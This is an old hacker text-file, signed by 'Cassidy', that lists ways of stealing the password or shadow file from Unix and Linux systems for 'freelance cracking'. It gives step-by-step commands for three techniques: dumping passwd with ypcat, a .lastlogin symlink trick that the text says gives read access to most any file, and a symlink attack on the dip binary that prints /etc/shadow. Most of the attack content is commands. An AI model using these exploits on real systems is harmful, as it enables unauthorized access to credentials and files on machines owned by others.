Defeating the Shadow Passwd Security

This is by no means a complete or even good list of possible ways to get a copy of the shadow file, but it's some that work and are pretty handy to know if you do alot of freelance cracking.

• Unix including: SunOS, SCO, System V, and others of the like are sometimes vulnerable to ypcat. This is an old and well known trick but it works.. To use it simply type ypcat /etc/passwd with your capture option turned on, or use

  ypcat /etc/passwd > ~/passwd 

  and download the passwd file from your home dir.
  
  
• Unix including: SCO, System V 3.2, ?, could be vulnerable to a hole using the .lastlogin file. In your home directory if a ls -al shows the .lastlogin to be owned by auth or root or anyone with better security then you it's good :)
  To exploit:

  
  rm -f ~/.lastlogin
  
  ln -s ~/.lastlogin /etc/passwd

  Now logout and then back in so you create the link.

  
  cat .lastlogin > passwd
  
  rm -f ~/.lastlogin 

  This hole could have several other uses as well, the fact that it allows you read access to most any file on the system is a nice gift.
  
  
• Linux including: slackware, ?, not only can the dip hole be used to exploit root but it can also snag you the shadow file fairly easily. Why you wouldn't use it to get to root and then just edit/download it I have no clue but here it is anyways..
  To exploit:

  
  ln -s /etc/shadow /tmp/dummy.dip
  
  /sbin/dip -v /tmp/dummy.dip

  Assuming dip is vulnerable this should type the shadow file for you and of course it's not limited to just reading the shadow file..
  

  If you know of other tricks, especially some that defeat linux shadow, and wish to share them mail Cassidy..

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